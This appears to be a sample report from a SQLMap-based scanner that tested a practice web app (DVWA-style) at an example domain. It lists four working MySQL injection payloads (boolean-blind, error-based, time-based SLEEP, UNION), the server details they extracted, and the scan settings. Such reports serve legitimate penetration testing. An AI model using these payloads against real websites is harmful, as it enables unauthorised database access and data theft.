

SQLi Exploiter with SQLMap Report

✓ <http://example.website.com/dwa/vulnerabilities/sqli/?id=1&Submit=Submit>

SQL Injection detected

Parameter	Method	SQLi Type	Payload	Extracted data
id	GET	boolean-based blind	id=1' OR NOT 9450=9450#&Submit=Submit	Current database: dwwa Operating system: Linux Debian 9.0 (stretch) Server technology: Apache 2.4.25 Database type: MySQL >= 5.0 Server hostname: localhost
id	GET	error-based	id=1' AND (SELECT 7966 FROM(SELECT COUNT(*),CONCAT(0x7170707871,(SELECT (ELT(7966=7966,1))),0x716b7a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- IcXZ&Submit=Submit	-
id	GET	time-based blind	id=1' AND (SELECT 8301 FROM (SELECT(SLEEP(5)))BQxw)-- IWWi&Submit=Submit	-
id	GET	UNION query	id=1' UNION ALL SELECT CONCAT(0x7170707871,0x79787748734646687a59674862587543576d7a634f4f764b517768736452527171614e6b57644441,0x716b7a7871),NULL#&Submit=Submit	-

Scan parameters

Url: <http://example.website.com/dwa/vulnerabilities/sqli/?id=1&Submit=Submit>
 Method: GET
 POST Data:
 Current user: --current-user
 Current database: --current-db
 Server hostname: --hostname
 Cookie header: PHPSESSID=vhf766qvxxxxxxxxx0d8ski3; security=low;
 Test parameters: id
 Tamper:
 Level: 1
 Risk: 1
 HTTP Code: None
 Prefix:
 Suffix:
 Database type:
 Techniques: BEUSTQ

Scan information

Start time: 2019-05-30 15:46:19
 Finish time: 2019-05-30 15:46:57
 Scan duration: 38 sec
 Scan status: Finished